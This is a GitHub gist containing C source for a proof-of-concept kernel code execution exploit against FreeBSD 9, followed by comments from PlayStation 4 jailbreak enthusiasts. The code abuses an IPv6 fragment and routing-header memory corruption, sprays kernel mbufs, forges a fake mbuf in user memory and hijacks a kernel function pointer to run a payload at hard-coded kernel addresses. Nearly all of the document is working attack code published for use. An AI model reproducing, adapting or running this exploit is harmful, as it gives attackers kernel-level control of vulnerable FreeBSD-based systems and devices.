Skip to content

Instantly share code, notes, and snippets.

@sleirsgoevy
Last active March 8, 2021 15:34
Show Gist options
  • Star 35 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.
Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.
FreeBSD 9 PoC of kernel code execution using the new TheFlow vulnerability
#include <sys/types.h>
#include <sys/param.h>
#include <sys/cpuset.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/vmmeter.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <vm/vm_param.h>
#include <stdio.h>
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final)
{
unsigned char buf[0x100];
// hop-by-hop header
buf[0] = 44;
buf[1] = 0;
buf[2] = 1;
buf[3] = 4;
buf[4] = buf[5] = buf[6] = buf[7] = 0x41;
// fragment header
buf[8] = 43;
buf[9] = 0;
size_t mid = off + !is_final;
buf[10] = mid / 256;
buf[11] = mid % 256;
buf[12] = 0xde;
buf[13] = 0xad;
buf[14] = 0xbe;
buf[15] = 0xef;
for(size_t i = 0; i < sz; i++)
buf[16+i] = src[off+i];
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0xbeef,
};
sin6.sin6_addr.s6_addr[15] = 1;
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6));
}
void build_rthdr(char* buf, int sz)
{
buf[0] = 43;
buf[1] = sz / 8 - 1;
buf[2] = 0;
buf[3] = 0;
for(size_t i = 4; i < sz; i++)
buf[i] = 0;
}
#define RTHDR_1_SZ 0x68 // MHLEN-56
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf
#define FIRST_FRAGMENT_SZ 0x38
#define SPRAY_SIZE 400
#define SMALL_SPRAY_SIZE 400
#define HUGE_SPRAY_SIZE 0x2800
#define RECLAIM_THRESHOLD 10
void push_mbuf(int* socks, int i)
{
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0)
printf("push_mbuf failed\n");
}
int pop_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), 0, 0, 0);
return ans;
}
int peek_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), MSG_PEEK, 0, 0);
return ans;
}
#if 0
uint16_t ip_checksum(void* buf, size_t sz, uint32_t csum)
{
uint16_t* x = (unsigned short*)buf;
for(size_t i = 0; i < sz / 2; i++)
csum += x[i];
while(csum >= 0x10000)
{
uint32_t q = csum / 0x10000;
csum %= 0x10000;
csum += q;
}
return (uint16_t)(0xffff - csum);
}
void craft_ipv4_packet(char* ans, int port, char* buf, size_t sz)
{
ans[0] = 0x45;
ans[1] = 0;
ans[2] = (sz+28)%256;
ans[3] = (sz+28)/256;
ans[4] = 0xde;
ans[5] = 0xad;
ans[6] = 0;
ans[7] = 0;
ans[8] = 64;
ans[9] = 17;
ans[10] = ans[11] = 0;
ans[12] = ans[16] = 127;
ans[13] = ans[17] = 0;
ans[14] = ans[18] = 0;
ans[15] = ans[19] = 1;
ans[20] = ans[22] = port % 256;
ans[21] = ans[23] = port / 256;
ans[24] = (sz+8)/256;
ans[25] = (sz+8)%256;
ans[26] = 0;
ans[27] = 0;
//*(uint16_t)(ans+26) = ipv4_checksum(ans+20, 8);
//*(uint16_t)(ans+10) = ipv4_checksum(ans, sz+28);
for(size_t i = 0; i < sz; i++)
ans[i+28] = buf[i];
}
void push_mbuf_r(int r, int* socks, int i)
{
struct sockaddr_in sin;
socklen_t l = sizeof(sin);
getsockname(socks[i], (struct sockaddr*)&sin, &l);
char buf[32];
craft_ipv4_packet(buf, sin.sin_port, (void*)&i, sizeof(i));
sendto(r, buf, sizeof(buf), 0, (void*)&sin, l);
}
#endif
int create_loopback(void)
{
#if 1
int sock = socket(AF_INET6, SOCK_DGRAM, 0);
struct sockaddr_in6 sin = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0,
};
sin.sin6_addr.s6_addr[15] = 1;
#else
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_addr = {0x100007f},
.sin_port = 0,
};
#endif
socklen_t sin_l = sizeof(sin);
bind(sock, (struct sockaddr*)&sin, sin_l);
getsockname(sock, (struct sockaddr*)&sin, &sin_l);
connect(sock, (struct sockaddr*)&sin, sin_l);
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK);
return sock;
}
int get_port(int fd)
{
struct sockaddr_in6 sin;
socklen_t l = sizeof(sin);
getsockname(fd, (struct sockaddr*)&sin, &l);
return sin.sin6_port;
}
asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret");
void kexec(void*);
#define uma_reclaim ((void*)0xffffffff80a7c1c0)
int port_to_csum(int port)
{
int base_port = 0x0de6;
int base_csum = 0x36b1;
int csum = base_csum - 2 * (port - base_port);
csum += 0x1fffe;
csum %= 0xffff;
return csum;
}
volatile void* userland_spray(void)
{
volatile char* buf = mmap(NULL, 1L<<33, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t npages = 50000;
for(size_t i = 0; i < (1L<<33); i += 4096)
{
int checkout = 0;
if(i % 10485760 == 0)
{
checkout = 1;
printf("%lu\n", i);
}
struct vmtotal v1, v2;
struct timeval t1, t2;
int mibs[2] = {CTL_VM, VM_TOTAL};
size_t l = sizeof(v1);
if(npages < 50000 || checkout)
sysctl(mibs, 2, &v1, &l, 0, 0);
buf[i] = 123;
if(npages < 50000 || checkout)
{
sysctl(mibs, 2, &v2, &l, 0, 0);
if(v2.t_free > v1.t_free + RECLAIM_THRESHOLD)
{
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
break;
}
else if(v2.t_free > v1.t_free)
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
npages = v2.t_free;
}
}
printf("sprayed (?)\n");
//munmap(buf+(1<<30)-(1<<20), 1<<20);
return buf;
}
void pipe_spray(void)
{
char* buf = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for(size_t i = 0; i < 4096; i++)
buf[i] = 0x41;
for(int i = 0; i < HUGE_SPRAY_SIZE/2; i++)
{
int p[2];
pipe(p);
fcntl(p[1], F_SETFL, fcntl(p[1], F_GETFL) | O_NONBLOCK);
write(p[1], buf, 4096);
write(p[0], buf, 4096);
}
}
void push_jumbo(int fd)
{
char buf[2048];
for(int i = 0; i < 2048; i++)
buf[i] = 0x41;
for(int i = 0; i < 31; i++)
sendto(fd, buf, sizeof(buf), 0, 0, 0);
}
void* mmap_at(void* where, size_t sz)
{
uintptr_t addr = (uintptr_t)where;
uintptr_t end = addr + sz;
addr &= ~4095ull;
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr)
{
printf("failed to mmap_at!\n");
return 0;
}
//prefault pages
unsigned char* p = where;
for(size_t i = 0; i < sz; i++)
p[i] = 0;
return where;
}
void kernel_payload(int bad_fd)
{
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90;
printf("Hello, kernel world!\n");
int****** td;
asm volatile("mov %%gs:0, %0":"=r"(td));
td[1][9][0][bad_fd][0][81] = 0; // socket->so_snd.sb_cc
td[1][9][0][bad_fd][0][83] = 0; // socket->so_snd.sb_mbcnf
void*** zone_mbuf = (void*)0xffffffff811008a0;
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets
}
int main(void)
{
cpuset_t xxx;
CPU_ZERO(&xxx);
CPU_SET(2, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
int huge_spray[HUGE_SPRAY_SIZE];
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
huge_spray[i] = socket(AF_INET6, SOCK_DGRAM, 0);
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
int socks[SPRAY_SIZE];
for(int i = 0; i < SPRAY_SIZE; i++)
socks[i] = create_loopback();
//socketpair(AF_INET, SOCK_DGRAM, 0, socks+2*i);
int small_spray[SMALL_SPRAY_SIZE];
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
small_spray[i] = create_loopback();
char buf[RTHDR_1_SZ + RTHDR_2_SZ];
build_rthdr(buf, RTHDR_1_SZ);
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ);
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0);
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1);
nanosleep((void*)"\0\0\0\0\0\0\0\0\x10\x27\0\0\0\0\0\0", 0);
CPU_ZERO(&xxx);
CPU_SET(0, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
#define FORALL for(int i = 0; i < SPRAY_SIZE; i++)
int q;
FORALL push_mbuf(socks, i);
char delayed_pkt[20];
*(uint32_t*)(delayed_pkt+16) = 0x41414141;
send_fragment(sock, delayed_pkt, 16, 4, 1);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
push_mbuf(small_spray, i);
int bad1 = -1, bad2 = -1;
FORALL if((q = peek_mbuf(socks, i)) != i)
{
bad1 = i;
bad2 = q;
}
if(bad1 < 0 || bad2 < 0)
{
printf("fatal: no corruption\n");
return 1;
}
build_rthdr(delayed_pkt, 8);
delayed_pkt[0] = 17; // udp
uint16_t bad1_port = get_port(socks[bad1]);
*(uint16_t*)(delayed_pkt+8) = *(uint16_t*)(delayed_pkt+10) = bad1_port;
delayed_pkt[12] = 0;
delayed_pkt[13] = 12;
*(uint16_t*)(delayed_pkt+14) = port_to_csum(bad1_port);
send_fragment(sock, delayed_pkt, 0, 16, 0);
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
pop_mbuf(socks, bad1);
pop_mbuf(socks, bad2);
/*for(int i = SPRAY_SIZE-SMALL_SPRAY_SIZE; i < SPRAY_SIZE; i++)
{
printf("%d ", i-SPRAY_SIZE);
fflush(stdout);
print_mbuf_addr(socks[i]);
}
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad1]);
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad2]);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
{
printf("%d ", i);
fflush(stdout);
print_mbuf_addr(small_spray[i]);
}*/
for(int i = SMALL_SPRAY_SIZE-1; i >= 0; i--)
pop_mbuf(small_spray, i);
pop_mbuf(socks, bad1);
for(int i = SPRAY_SIZE-1; i >= 0; i--)
if(i != bad1 && i != bad2)
pop_mbuf(socks, i);
//print_mbuf_addr(socks[bad2]);
void* ul_buf = (void*)userland_spray();
unsigned char rthdr[1016];
build_rthdr((char*)rthdr, sizeof(rthdr));
rthdr[0] = 0;
rthdr[3] = rthdr[1] / 2;
rthdr[4] = 0x90;
*(uint32_t*)(rthdr+0x1c) = 0x40000; //M_NOFREE
unsigned char* mbuf_fake = mmap_at(*(void**)rthdr, 0x100);
*(uint32_t*)(mbuf_fake+0x1c) = 0x40001; //M_NOFREE|M_EXT
*(uintptr_t*)(mbuf_fake+0x58) = 0xffff800041414141ull;
*(uintptr_t*)(mbuf_fake+0x60) = (uintptr_t)&kernel_payload;
*(uintptr_t*)(mbuf_fake+0x68) = socks[bad2]; //ext_arg1
int fake_refcnt = 1;
*(void**)(mbuf_fake+0x80) = &fake_refcnt;
*(int*)(mbuf_fake+0x88) = 400;
for(int i = 256; i < sizeof(rthdr); i++)
rthdr[i] = rthdr[i % 256];
printf("crafted fake mbuf in userspace\n");
/*for(int i = 4; i < sizeof(rthdr); i++)
rthdr[i] = 0x41;*/
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
setsockopt(huge_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SPRAY_SIZE; i++)
setsockopt(socks[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
setsockopt(small_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
//print_mbuf_addr(socks[bad2]);
pop_mbuf(socks, bad2);
close(socks[bad1]);
close(socks[bad2]);
printf("pwned\n");
munmap(ul_buf, 1L<<33);
return 0;
}
@fat-albert
Copy link

fat-albert commented Jan 25, 2021

This is really amazing, shoutout to everyone in the ps4 scene, and props to theflow for playstation letting him disclose the sock raw exploit, and people like him and sleirsgoevy and fire30, etc in the end are the ones who get these done, all we can hope now is a poc for cve-2020-13543(talos-2020-1155), and if it works, we have a kex for 7.55 and posibly 8.00

https://talosintelligence.com/vulnerability_reports/TALOS-2020-1155

@harshdhaliwal1
Copy link

I found some kernel offsets of PS4 on 7.50 .
Will it help?

@komawoyo
Copy link

@harshdhaliwal1 you mind posting it? I would like to check if it makes a difference on the webkit success rate.

@zizoom
Copy link

zizoom commented Feb 26, 2021

اين مطوربن العرب مشكور على المجهود

@SchneideR52
Copy link

Keep working bro 👏🙏🌹

@mohammad-re2004
Copy link

We hope for you very much👏💪

@HassanMelhem
Copy link

sleirgoevy is the best much respect 🌹🌹

@biboo007
Copy link

keep working bro we support you

@Tito0o7
Copy link

Tito0o7 commented Feb 26, 2021

Good job

@Aris45
Copy link

Aris45 commented Feb 26, 2021

mantap

@amirrezaii1364
Copy link

Hoping for the leaf surprise for Algebra version 7.55 I believe in you my friend

@mohammad-re2004
Copy link

keep working 💪

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment